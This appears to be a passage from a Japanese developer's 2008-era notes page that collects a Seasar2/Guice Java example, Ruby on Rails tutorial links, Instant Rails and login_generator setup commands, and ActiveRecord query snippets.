S2Container container = null;
public Module(S2Container container){
this.container = container;
}
@Override
protected void configure() {
bind(S2ContainerFactory.class).annotatedWith(Names.named(container.getPath()));
bind(Client.class).toInstance(SingletonS2Container.getComponent(Client.class));
}
}
private HelloService helloService = null;
public void setHelloService(HelloService helloService) {
this.helloService = helloService;
}
public void execute() {
helloService.sayHello();
}
}
Main.java
import org.seasar.framework.container.S2Container;
import org.seasar.framework.container.factory.SingletonS2ContainerFactory;
import com.google.inject.Guice;
import com.google.inject.Injector;
public class Main {
private static final String PATH = ".\\app.dicon";
public static void main(String[] args) {
SingletonS2ContainerFactory.setConfigPath(PATH);
SingletonS2ContainerFactory.init();
S2Container container = SingletonS2ContainerFactory.getContainer();
Module module = new Module(container);
Injector injector = Guice.createInjector(module);
Client client = injector.getInstance(Client.class);
client.execute();
}
}
実行結果
java -cp ?? org.seasar.guice.Main
2008/05/13 21:19:22 org.seasar.framework.log.Logger info
情報: Running on [ENV]product, [DEPLOY MODE]Normal Mode
Hello, world!
rubyとは - はてなダイアリー Rubyとは - はてなダイアリー
RubyForge: One-Click Ruby Installer: Project Info
RDE(Ruby Development Environment) - Ruby??J??????????
#!/usr/bin/ruby -Ks
# print "Content-Type: text/html;charset=UTF-8\n\n"
p "表示"
http://127.0.0.1:3000/ http://127.0.0.1:3000/recipe/list
http://127.0.0.1:3001/ http://127.0.0.1:3001/recipe/list
http://127.0.0.1:3001/account/signup http://127.0.0.1:3001/test
Hot Chips (delete) Snacks 2004-11-11
Ice Water (delete) Beverages 2004-11-11
Killer Mushrooms (delete) Snacks 2005-09-13
満足せる豚。眠たげなポチ。:Rolling with Ruby on Rails - Japanese Translation - p1
満足せる豚。眠たげなポチ。:Rolling on Ruby on Rails - Japanese Translation - p5
ITmedia エンタープライズ:第1回 Instant Railsで始めるWindows環境のRails (1/2)
DROP TABLE IF EXISTS `items`;
CREATE TABLE items (
id int(11) NOT NULL auto_increment,
login varchar(80) default NULL,
password varchar(40) default NULL,
);
えぇてるのぉと:Railsでログイン認証 - livedoor Blog(ブログ)
8 app/views/test/index.rhtmlの編集
Welcom <%= @session['user'].login %>!
Login Generator (1) - Nowhere Near
config/environment.rb に以下の行を追加する。
module LoginEngine
config :salt, "your-salt-here"
end
Engines.start :login
パパブログ: RoR : login_generator : login中のユーザ情報の取得
@session['user'].login
で、idやloginが取得できる。
ちなみにidはActiveRecordおなじみのidで、
;C:\nonidata\InstantRails\ruby\bin;
cd C:\nonidata\InstantRails\ruby\bin
C:\nonidata\InstantRails\ruby\bin>gem install login_generator
Successfully installed login_generator-1.2.2
C:\nonidata\InstantRails>cd C:\nonidata\InstantRails\rails_apps\cookbook
C:\nonidata\InstantRails\rails_apps\cookbook>ruby script/generate login Account
create lib/login_system.rb
C:\nonidata\InstantRails\rails_apps>cd C:\nonidata\InstantRails\rails_apps\cookbook
C:\nonidata\InstantRails\rails_apps\cookbook>ruby script/generate controller test
exists app/controllers/
[Ruby] Rails(ActiveRecord)の多対多関連 - yuum3のお仕事日記
has_one
has_many
belongs_to
has_and_belongs_to_many
habtm と has_many :through (ActiveRecord)
ActiveRecord の歩き方 - Association 編(1) - Rails で行こう! - Ruby on Rails を学ぶ has_many :comments
developerWorks Japan has_one :address
Rubyist Magazine - RubyOnRails を使ってみる 【第 3 回】 ActiveRecord
create メソッドを使うこともできます。create は new したあと save (DB に格納) します。
Rubyist Magazine - RubyOnRails を使ってみる 【第 4 回】 ActionPack
find(:all, :conditions => ["user_name = ?", user_name])
find_all(["user_name = ?", user_name])
find_all_by_user_name(user_name)
Part2 Rubyに学ぶ「Ruby on Railsの正体」:ITpro
book = Product.find_or_create_by_name_and_price('book', 2079)
リスト7●productsテーブルからnameが'book',priceが2079であるようなProductオブジェクトを読み取り,存在しなかった場合はデータベースにレコードを新規作成する処理
RoR Wiki 翻訳 Wiki - HowToUseLegacySchemas
恣意的で複雑なクエリや、主キーを持たないテーブルにはfind_by_sqlを使う
テーブルが論理的な主キーを持たないなら、
find_by_sqlを使えば主キーを全く指定しない曖昧で複雑なクエリを実行も実行できる。
Post.find_by_sql ["SELECT * FROM posts WHERE author = ? AND created > ?", author_id, start_date]
エディタ utf8
チュートリアルを動かしてみる - 肩書「シニアコンサルタント」のつぶやき
Railsでソーシャルブックマークを作ってみようか(第1回) - 坊やがゆく
ようこそ<%= @session['user'].login %>さん
Railsでソーシャルブックマークを作ってみようか(第2回) - 坊やがゆく
Railsでお馴染み37signalsのURLが凄い件について:TKMR.blog.show
URLにキーワードを含めことでSEO対策になるかも、でもそれだけ:TKMR.blog.show
http://127.0.0.1:3001/recipe/list
tetraの外部記憶箱 - Instant Railsのインストール , 追記:phpMyAdminの日本語環境設定 , 未踏ソフト記事
こうですか?わかりません><
- module: CustomFeed::Debug config: title: Aice5 in Wonder Radio entry: - title: Aice5 in Wonder Radio link: http://www.starchild.co.jp/artist/aice5/radio/aice5.asx - module: Filter::EntryFullText config: store_html_on_failure: 1 - module: Filter::FindEnclosures - module: Filter::FetchEnclosure::Mplayer